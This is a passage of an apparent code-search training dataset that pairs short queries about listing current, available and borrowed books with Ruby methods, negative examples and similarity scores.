"0.7107612",
"0.7085816",
"0.7024262",
"0.7021623",
"0.7006363",
"0.69832927",
"0.6900506",
"0.6878033",
"0.68640554",
"0.6859029",
"0.6853613",
"0.6748748",
"0.6743717",
"0.6668171",
"0.6649267",
"0.66387165",
"0.658609",
"0.6585502",
"0.6580635",
"0.6547628",
"0.6541955",
"0.65361243",
"0.65276587",
"0.64952886",
"0.6490743",
"0.64852965",
"0.6482793",
"0.6457335",
"0.64541745",
"0.6451699",
"0.6435011",
"0.6434175",
"0.6400313",
"0.6399626",
"0.63806754",
"0.6367076",
"0.63653076",
"0.6357378",
"0.63387537",
"0.6307865",
"0.62685746",
"0.6263165",
"0.62562346",
"0.6247157",
"0.6237956",
"0.62378854",
"0.62362415",
"0.6223061",
"0.62200695",
"0.6201938",
"0.6187432",
"0.6185835",
"0.6170693",
"0.61666167",
"0.6164607",
"0.61466247",
"0.6106558",
"0.6104606",
"0.6068592",
"0.6062902",
"0.6058421",
"0.6050251",
"0.60410905",
"0.60409224",
"0.6034398",
"0.6009322",
"0.5992044",
"0.59868646",
"0.5982467",
"0.59680736",
"0.5959036",
"0.5958912",
"0.59510934",
"0.59485817",
"0.593263",
"0.5930898",
"0.59271294",
"0.592219",
"0.5898597",
"0.5898339"
] | 0.7364022 | 14 |
get list of current books | def book_list
puts "Here are the books in our library:"
@books.each { |book| puts "#{book.name}" }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list\n @books = Book.all\n end",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end",
"def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end",
"def get_books()\n @books_out\n end",
"def get_books()\n @books_out\n end",
"def borrowed_books_list\n @borrowed_books.each do |book|\n puts \"#{book.title} by #{book.author}\"\n end\n end",
"def borrowed_books_list\n @borrowed_books.each {|book| puts \"'#{book.title}' by #{book.author}\" }\n end",
"def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end",
"def list_books\n @books = Book.all\n @books.each.with_index(1) do |book, i|\n puts \"#{i}.#{book.title} - #{book.author}\" \n #puts \"------------\"\n end\n puts \" \"\n puts \" \"\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end",
"def index\n @books = Book.get_avaible_books\n end",
"def books \n @books\n end",
"def get_current_books\n user = User.find_by_id(params[:user_id])\n shelves = user.bookshelves\n \n @books = Array.new\n \n shelves.each do |s|\n s.shelfitems.each do |shelf|\n if shelf.finished == false\n @books << shelf.book\n end\n end\n end\n \n render json: @books\n end",
"def index\n @books = current_user.books.all\n end",
"def all_books\n\t\t\t@books = Book.all\n\t\tend",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @books = current_user.books\n end",
"def get_books()\n @checked_books\n end",
"def borrowed_books_list\n puts \"#{@name} has checked out:\"\n @books.each do |book|\n puts \" \\\"#{book.title}\\\"\"\n end\n end",
"def index\n @library_book_lists = LibraryBookList.all\n end",
"def returnbook\n @books = Book.all \n end",
"def index\n @library_books = LibraryBook.all\n end",
"def books\n self.book_authors.map {|book_author| book_author.book}\n end",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books\n @borrowed_books\n end",
"def available\n @books = Book.all\n end",
"def list_books\n puts \"\"\n puts \"Current Catalogue:\"\n puts \"\"\n puts \"A-G:\"\n \t@shelf_ag.to_s\n \tputs \"H-P:\"\n \t@shelf_hp.to_s\n \tputs \"Q-Z:\"\n \t@shelf_qz.to_s\n end",
"def index\n # AR query to get all books, save into instance variable\n @books = Book.all\n end",
"def index\n @books = Book.page(params[:page]) # utilise le helper du gem kaminari pour faire la pagination des livres automatiquement\n end",
"def index\n @author_books = AuthorBook.all\n end",
"def index\n @books_authors = BooksAuthor.all\n end",
"def available_books\n @books.each do |book|\n if book.status == \"available\"\n puts \"#{book.title} by #{book.author} is available.\"\n end\n end\n end",
"def show_all_books\n\t\tputs \"\\nAll Books\\n\"\n\t\tBook.all.each do |book|\n\t\t\tputs \"#{book.id} #{book.title}\"\n\t\tend\nend",
"def odsa_books\n inst_books\n end",
"def index\n @cook_books = CookBook.all\n end",
"def book\n fetch('harry_potter.books')\n end",
"def all\n @books.each {|item| puts \"#{item[0]} (#{item[1]})\" }\n end",
"def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend",
"def index\n @librarybooklists = Librarybooklist.all\n end",
"def index\n\n @books = Book.all\n\n end",
"def index\n #@books = Book.all\n end",
"def available_books\n @books.select { |book| book.status == 'available' }\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @book_items = BookItem.all\n end",
"def index\n @book_items = BookItem.all\n end",
"def index\r\n @books = Book.all\r\n end",
"def index\n @authors_books = AuthorsBook.all\n end",
"def mybooks\n @books = Book.all\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def index\n @stuk_books = StukBook.available\n end",
"def index\n load_data\n @books = Book.all\n end",
"def books\n\t\tif params[:id].nil? || params[:id].to_i.eql?(@current_user.id) \n\t\t\t@user = current_user\n\t\telse\n\t\t\t@user = User.find(params[:id])\n\t\tend\n\t\t@books = @user.books\n\tend",
"def index\n @realistic_fiction_books = current_user.realistic_fiction_books\n end",
"def index\n @booksinlists = Booksinlist.all\n @booksinthelist = Book.joins(:booksinlists).where(booksinlists: {booklist_id: params[:id]})\n #@books = Book.find()\n end",
"def list\n if params[:query]\n @searched = true\n @books = Book.active.search(params[:query])\n else\n @books = Book.active_reverse.paginate :page => params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end",
"def my_books\n @books = current_user.books\n end",
"def index\n \n @user = current_user\n @search = current_user.books.search(params[:q])\n @books = @search.result\n end",
"def index\n @mystery_books = current_user.mystery_books\n end",
"def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end",
"def books\n @books ||= current_user.books\n end",
"def full\n @books = Book.all\n end",
"def index\n @bookitems = Bookitem.all\n end",
"def index\n if current_user\n @books = current_user.books\n render json: @books, status: 201\n end\n end",
"def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end",
"def index\n @books= Book.all\n end",
"def index\n @cbooks = Cbook.all\n end",
"def index\n @science_fiction_books = current_user.science_fiction_books\n end",
"def index\n @books = Book.of_user current_user\n end",
"def index\n @library_books = Library::Book.all.paginate(:page => params[:page], :per_page => 10)\n end",
"def index\n @cookbooks = Cookbook.all\n end"
] | [
"0.80968136",
"0.8096255",
"0.805572",
"0.8028576",
"0.79529315",
"0.79529315",
"0.79170257",
"0.7869154",
"0.7852637",
"0.78347653",
"0.7792328",
"0.76236504",
"0.75693256",
"0.7561943",
"0.75227135",
"0.7455525",
"0.7428323",
"0.7422485",
"0.7408384",
"0.7408384",
"0.7408384",
"0.74068946",
"0.7389272",
"0.7323412",
"0.7322357",
"0.72802705",
"0.72631854",
"0.7260352",
"0.72497",
"0.72497",
"0.72383684",
"0.7219976",
"0.72129697",
"0.71847624",
"0.7159454",
"0.71488535",
"0.7141255",
"0.7132101",
"0.7127934",
"0.7111446",
"0.7092746",
"0.7070897",
"0.7042198",
"0.7039662",
"0.7037104",
"0.70323837",
"0.7031426",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7030286",
"0.7015635",
"0.7015635",
"0.70148915",
"0.7011973",
"0.69844323",
"0.69623774",
"0.6949554",
"0.6936246",
"0.69342536",
"0.692492",
"0.6911975",
"0.69085747",
"0.69032526",
"0.69012105",
"0.6885716",
"0.6881544",
"0.68512774",
"0.6848834",
"0.6847354",
"0.68392694",
"0.68351305",
"0.68296313",
"0.68295574",
"0.68129575",
"0.6812919",
"0.6811481",
"0.6809297"
] | 0.80696136 | 2 |
get list of current available books | def available_books
puts "Available Books:"
@book_status.each { |k, v| puts "#{k}" if v == "available" }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def available_books\n @books.each do |book|\n if book.status == \"available\"\n puts \"#{book.title} by #{book.author} is available.\"\n end\n end\n end",
"def available_books\n @books.select { |book| book.status == 'available' }\n end",
"def available\n @books = Book.all\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end",
"def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\t@books.each { |book| puts \"#{book.name}\" }\n\tend",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def get_books()\n @books_out\n end",
"def get_books()\n @books_out\n end",
"def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end",
"def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end",
"def borrowed_books_list\n @borrowed_books.each do |book|\n puts \"#{book.title} by #{book.author}\"\n end\n end",
"def borrowed_books_list\n @borrowed_books.each {|book| puts \"'#{book.title}' by #{book.author}\" }\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end",
"def list\n @books = Book.all\n end",
"def index\n @books = Book.get_avaible_books\n end",
"def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end",
"def available_books\n puts \"The following books are available for check out:\"\n @books.each do |book|\n if book.checked_out == false\n puts \" \\\"#{book.title}\\\"\"\n end\n end\n end",
"def get_books()\n @checked_books\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def index\n @stuk_books = StukBook.available\n end",
"def all_books\n\t\t\t@books = Book.all\n\t\tend",
"def list_books\n puts \"\"\n puts \"Current Catalogue:\"\n puts \"\"\n puts \"A-G:\"\n \t@shelf_ag.to_s\n \tputs \"H-P:\"\n \t@shelf_hp.to_s\n \tputs \"Q-Z:\"\n \t@shelf_qz.to_s\n end",
"def borrowed_books_list\n puts \"#{@name} has checked out:\"\n @books.each do |book|\n puts \" \\\"#{book.title}\\\"\"\n end\n end",
"def list_books\n @books = Book.all\n @books.each.with_index(1) do |book, i|\n puts \"#{i}.#{book.title} - #{book.author}\" \n #puts \"------------\"\n end\n puts \" \"\n puts \" \"\n end",
"def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books\n @borrowed_books\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def get_current_books\n user = User.find_by_id(params[:user_id])\n shelves = user.bookshelves\n \n @books = Array.new\n \n shelves.each do |s|\n s.shelfitems.each do |shelf|\n if shelf.finished == false\n @books << shelf.book\n end\n end\n end\n \n render json: @books\n end",
"def borrowed_books\n @books.select { |book| book.status == 'checked_out' }\n end",
"def books \n @books\n end",
"def odsa_books\n inst_books\n end",
"def list_books\n @books.each do |book|\n if book.checked_out\n puts '\"' + book.title + '\" : checked out'\n else\n puts '\"' + book.title + '\" : avaiable'\n end\n end \n end",
"def currently_checked_out_books\n # Select all checkouts that are active (checked out) and returns array of titles (strings)\n self.checkouts.select {|check_outs| check_outs.checked_out == true}.map{|books| books.book.title}\n end",
"def borrowed_books\n\t\tputs \"Borrowed Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"checked_out\" }\n\tend",
"def index\n @library_book_lists = LibraryBookList.all\n end",
"def returnbook\n @books = Book.all \n end",
"def book\n fetch('harry_potter.books')\n end",
"def index\n @books = current_user.books.all\n end",
"def books\n self.book_authors.map {|book_author| book_author.book}\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\"\n puts \"#{book.title} by #{book.author}: Checked out by #{book.borrower.name}.\"\n end\n end\n end",
"def index\n @library_books = LibraryBook.all\n end",
"def all\n @books.each {|item| puts \"#{item[0]} (#{item[1]})\" }\n end",
"def show_all_books\n\t\tputs \"\\nAll Books\\n\"\n\t\tBook.all.each do |book|\n\t\t\tputs \"#{book.id} #{book.title}\"\n\t\tend\nend",
"def fetch_books(term)\n response = RestClient.get(\"https://www.googleapis.com/books/v1/volumes?q=#{term}\")\n\n JSON.parse(response.body)\n end",
"def index\n @books = current_user.books\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"Checked out\"\n puts book.title + \" is currently checked out.\" \n puts \"Go talk to \" + book.borrower.name + \".\"\n end\n end\n end",
"def index\n @books = Book.page(params[:page]) # utilise le helper du gem kaminari pour faire la pagination des livres automatiquement\n end",
"def index\n @librarybooklists = Librarybooklist.all\n end",
"def get_books\n unless self.scraped\n page = Nokogiri::HTML(open(self.url), nil, \"iso-8859-1\")\n item_elements = page.css(\".g-span7when-wide\")\n item_elements.each do |item|\n book_data = {}\n book_data[:title] = item.at_css(\".a-link-normal\").text.strip\n book_data[:author] = item.at_css(\".a-size-small\").text.split(\"by\")[-1].strip\n book_data[:price] = item.at_css(\".a-color-price\").text.strip\n book_data[:price] = \"N/A\" unless book_data[:price].include?(\"$\")\n book_data[:asin] = item.at_css(\".a-link-normal\")[\"href\"].split(\"/\")[2].strip.split(\"?\")[0]\n self.books << Book.new(book_data)\n end\n self.last_scraped = Time.now\n self.scraped = true\n end\n end",
"def index\n # AR query to get all books, save into instance variable\n @books = Book.all\n end",
"def get_books\n # clears the screen\n system(\"clear\")\n puts \"Please enter what you are looking for today: \"\n puts \"\"\n query = gets.chomp.downcase\n results = Api.call_api(query)\n\n add_book_to_reading_list(results)\n end",
"def index\n @book_items = BookItem.all\n end",
"def index\n @book_items = BookItem.all\n end",
"def user_books\n @reservations = Reservation.get_reservations(current_user.id)\n end",
"def index\n \n @user = current_user\n @search = current_user.books.search(params[:q])\n @books = @search.result\n end",
"def full\n @books = Book.all\n end",
"def books\n @books ||= current_user.books\n end",
"def index\n @book_lends = BookLend.all\n end",
"def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end",
"def index\n @cook_books = CookBook.all\n end",
"def all_bookings\n Booking.none\n end",
"def mybooks\n @books = Book.all\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\" \n puts \"'#{book.title}' is checked out to #{book.borrower.name}\" \n end\n end\n end",
"def index\n @author_books = AuthorBook.all\n end",
"def index\n @realistic_fiction_books = current_user.realistic_fiction_books\n end",
"def index\n @books_authors = BooksAuthor.all\n end",
"def recommended_books\n if current_user\n @user = current_user\n @recommended_books ||= []\n user_interests = @user.categories\n for interest in user_interests\n @recommended_books << interest.books.order('created_at Desc').limit(5)\n end\n render json: {status: 'SUCCESS', message: 'Loaded recommended_books', data:@recommended_books},status: :ok\n end \n end",
"def list\n if params[:query]\n @searched = true\n @books = Book.active.search(params[:query])\n else\n @books = Book.active_reverse.paginate :page => params[:page]\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @books }\n end\n end",
"def index\n @gbooks = Gbook.all\n end",
"def index\n\n @books = Book.all\n\n end",
"def index\n #@books = Book.all\n end",
"def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q])\n rescue\n []\n end",
"def index\r\n @books = Book.all\r\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end",
"def index\n @books = Book.all\n end"
] | [
"0.821038",
"0.8146145",
"0.8103563",
"0.8034198",
"0.78797823",
"0.77441853",
"0.77196896",
"0.7670728",
"0.7670728",
"0.7607577",
"0.75827783",
"0.75540465",
"0.75470656",
"0.75229883",
"0.75056064",
"0.7451121",
"0.7438426",
"0.7419048",
"0.7416641",
"0.7391632",
"0.72670084",
"0.72437143",
"0.72329825",
"0.7181791",
"0.7166184",
"0.7155455",
"0.713666",
"0.713666",
"0.71272814",
"0.71272814",
"0.71272814",
"0.71239996",
"0.70567757",
"0.7009377",
"0.6996325",
"0.69875246",
"0.69407",
"0.69270635",
"0.691449",
"0.6902771",
"0.6893789",
"0.6885467",
"0.687202",
"0.6871625",
"0.68514585",
"0.6849749",
"0.6843064",
"0.68400276",
"0.68038964",
"0.67839664",
"0.67433614",
"0.67050177",
"0.66790164",
"0.66731197",
"0.665902",
"0.665033",
"0.665033",
"0.66249526",
"0.6609385",
"0.6602512",
"0.6589795",
"0.6588741",
"0.6578632",
"0.6574198",
"0.65713125",
"0.65663576",
"0.6558838",
"0.65534914",
"0.6552097",
"0.6534868",
"0.6521949",
"0.6504858",
"0.64877",
"0.6486936",
"0.6486674",
"0.64848435",
"0.6484837",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238",
"0.6481238"
] | 0.8305527 | 0 |
get list of current borrowed books | def borrowed_books
puts "Borrowed Books:"
@book_status.each { |k, v| puts "#{k}" if v == "checked_out" }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def borrowed_books_list\n @borrowed_books.each do |book|\n puts \"#{book.title} by #{book.author}\"\n end\n end",
"def borrowed_books_list\n @borrowed_books.each {|book| puts \"'#{book.title}' by #{book.author}\" }\n end",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books\n @borrowed_books\n end",
"def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end",
"def borrowed_books_list\n puts \"#{@name} has checked out:\"\n @books.each do |book|\n puts \" \\\"#{book.title}\\\"\"\n end\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\"\n puts \"#{book.title} by #{book.author}: Checked out by #{book.borrower.name}.\"\n end\n end\n end",
"def borrowed_books\n @books.select { |book| book.status == 'checked_out' }\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"Checked out\"\n puts book.title + \" is currently checked out.\" \n puts \"Go talk to \" + book.borrower.name + \".\"\n end\n end\n end",
"def borrowed_books\n @books.each do |book|\n if book.status == \"checked out\" \n puts \"'#{book.title}' is checked out to #{book.borrower.name}\" \n end\n end\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def index\n @borrowed_books = BorrowedBook.all\n end",
"def get_books()\n @books_out\n end",
"def get_books()\n @books_out\n end",
"def borrowed_books\n puts \"The following books have been checked out:\"\n @books.each do |book|\n if book.checked_out\n puts \" \\\"#{book.title}\\\" has been checked out by #{book.current_patron.name}.\"\n end\n end\n end",
"def list_books\n @books.each do |books|\n puts books.title + \" is currently \" + books.status + \".\"\n end\n end",
"def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end",
"def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\t@books.each { |book| puts \"#{book.name}\" }\n\tend",
"def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end",
"def currently_checked_out_books\n # Select all checkouts that are active (checked out) and returns array of titles (strings)\n self.checkouts.select {|check_outs| check_outs.checked_out == true}.map{|books| books.book.title}\n end",
"def get_books()\n @checked_books\n end",
"def borrowed_books\n @books.each do |book| \n if book.status == \"unavailable\"\n# book refers to an instance of the class \"book\". .title refers to the\n# \"getter\" method we created in class Book that retrieves the value of\n# instance variable, @title, which was passed a value from an instance of \n# the class Book.\n# .borrower refers to the \"getter/setter\" method(s) which retrieve and set\n# the value of @borrower is set in the check_out method (set to user)\n puts \"The book #{book.title} has been checked out by #{book.borrower.name}\"\n end\n end\n end",
"def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end",
"def available_books\n @books.each do |book|\n if book.status != \"Checked out\"\n puts book.title + \" is available to check out.\"\n end\n end\n end",
"def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end",
"def borrow(book)\n\t\t@checked_out_books << book\n\tend",
"def available_books\n @books.select { |book| book.status == 'available' }\n end",
"def available_books\n @books.each do |book|\n if book.status != \"checked out\"\n puts \"'#{book.title}' is currently available\"\n end\n end\n end",
"def books\n self.book_authors.map {|book_author| book_author.book}\n end",
"def list\n @books = Book.all\n end",
"def available_books\n\t\tputs \"Available Books:\"\n\t\t@book_status.each { |k, v| puts \"#{k}\" if v == \"available\" }\n\tend",
"def get_current_books\n user = User.find_by_id(params[:user_id])\n shelves = user.bookshelves\n \n @books = Array.new\n \n shelves.each do |s|\n s.shelfitems.each do |shelf|\n if shelf.finished == false\n @books << shelf.book\n end\n end\n end\n \n render json: @books\n end",
"def list_books\n @books = Book.all\n @books.each.with_index(1) do |book, i|\n puts \"#{i}.#{book.title} - #{book.author}\" \n #puts \"------------\"\n end\n puts \" \"\n puts \" \"\n end",
"def available_books\n @books.each do |book|\n if book.status == \"available\"\n puts \"#{book.title} by #{book.author} is available.\"\n end\n end\n end",
"def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end",
"def books \n @books\n end",
"def list_books\n @books.each do |book|\n if book.checked_out\n puts '\"' + book.title + '\" : checked out'\n else\n puts '\"' + book.title + '\" : avaiable'\n end\n end \n end",
"def odsa_books\n inst_books\n end",
"def available_books\n puts \"The following books are available for check out:\"\n @books.each do |book|\n if book.checked_out == false\n puts \" \\\"#{book.title}\\\"\"\n end\n end\n end",
"def available\n @books = Book.all\n end",
"def borrow_books(*books)\n\t\tbooks.each do |book|\n\t\t\tif self.books.include?(book)\n\t\t\t\tputs \"#{self.name} has already checked this book out!\"\n\t\t\telse\n\t\t\t\tself.books << book\n\t\t\tend\n\t\tend\n\tend",
"def returnbook\n @books = Book.all \n end",
"def get_checked_out_books\n UserBook.get_books_by_user_id(get_user_books_by_status(\"Checked Out\"))\n end",
"def list_books\n puts \"\"\n puts \"Current Catalogue:\"\n puts \"\"\n puts \"A-G:\"\n \t@shelf_ag.to_s\n \tputs \"H-P:\"\n \t@shelf_hp.to_s\n \tputs \"Q-Z:\"\n \t@shelf_qz.to_s\n end",
"def borrow(book_id, user_id)\r\n @@books.each do |book|\r\n @@users.each do |user|\r\n if book.bookID == book_id && user.userID == user_id\r\n if book.status == \"available\"\r\n book.borrower = (user.fname+\" \"+user.lname)\r\n book.status = \"borrowed\"\r\n user.bookBorrowed = book.title\r\n puts(\"\\nFollowing user has borrowed the following book: \")\r\n puts(\"User : #{user.inspect}\")\r\n puts(\"Book : #{book.inspect}\")\r\n else\r\n puts \"\\nSorry! the selected book #{book.bookID} is currently not available and cannot be lend to #{user.userID}; \\nbecause it is borrowed by user : #{book.borrower}\" end\r\n end\r\n end\r\n end\r\n end",
"def reviewed_books\n self.reviews.map{|r| r.book}\n end",
"def list_checked_out\n @checked_out.each { |book| puts \"#{book.title} - #{book.author} : Due on #{book.due_date.ctime}\" }\n end",
"def get_unread_books(user_books, books)\n array_of_books = []\n user_books.each do |user_book|\n if user_book.times_read == 0\n array_of_books << books.find { |b| b.id == user_book.book_id }\n end\n end\n array_of_books\n end",
"def list_books\n books = Book.all\n \n if books.count > 0\n render json: books\n else\n render json: {e:\"No books added\"}, :status => :error\n end\n end",
"def all\n @books.each {|item| puts \"#{item[0]} (#{item[1]})\" }\n end",
"def all_books\n\t\t\t@books = Book.all\n\t\tend",
"def book\n fetch('harry_potter.books')\n end",
"def user_books\n @reservations = Reservation.get_reservations(current_user.id)\n end",
"def index\n @borrow_histories = BorrowHistory.all\n end",
"def books\n @books ||= current_user.books\n end",
"def book_due_dates\n borrowed_books.each { |book| puts \"#{book.title} checked out by #{book.borrower.first.name}. Due date: #{book.due_date.strftime(\"%B %d, %Y\")}.\"}\n end",
"def index\n @books = Book.get_avaible_books\n end",
"def overdue_books\n borrowed_books.each do |book|\n puts \"#{book.title} was due on #{book.due_date.strftime(\"%B %d, %Y\")}.}\" if book.check_overdue(book.borrower.first)\n end\n end",
"def index\n @books = current_user.books\n end",
"def index\n @books = current_user.books.all\n end",
"def find_overdue_books\n raise 'The library is not open!' unless @open\n raise 'No member is currently being served' unless @serve\n current_date = calendar.get_date\n\n book_list = @serve.get_books\n book_list.each_index do |n|\n if current_date > book_list[n].get_due_date\n puts \"#{@serve.get_name} #{book_list[n].to_s} \"\n else\n puts 'None'\n end\n end\n end",
"def index\n @cook_books = CookBook.all\n end",
"def books\n\t\tif params[:id].nil? || params[:id].to_i.eql?(@current_user.id) \n\t\t\t@user = current_user\n\t\telse\n\t\t\t@user = User.find(params[:id])\n\t\tend\n\t\t@books = @user.books\n\tend",
"def books_per_user(user)\n user.books_checked_out.collect do |b|\n puts \"#{b.title} is due at #{b.due_date}.\"\n end\n end",
"def index\n @library_book_lists = LibraryBookList.all\n end",
"def index\n @realistic_fiction_books = current_user.realistic_fiction_books\n end",
"def one_of_their_books\n reading_lists.sample.book\n end",
"def get_books\n unless self.scraped\n page = Nokogiri::HTML(open(self.url), nil, \"iso-8859-1\")\n item_elements = page.css(\".g-span7when-wide\")\n item_elements.each do |item|\n book_data = {}\n book_data[:title] = item.at_css(\".a-link-normal\").text.strip\n book_data[:author] = item.at_css(\".a-size-small\").text.split(\"by\")[-1].strip\n book_data[:price] = item.at_css(\".a-color-price\").text.strip\n book_data[:price] = \"N/A\" unless book_data[:price].include?(\"$\")\n book_data[:asin] = item.at_css(\".a-link-normal\")[\"href\"].split(\"/\")[2].strip.split(\"?\")[0]\n self.books << Book.new(book_data)\n end\n self.last_scraped = Time.now\n self.scraped = true\n end\n end",
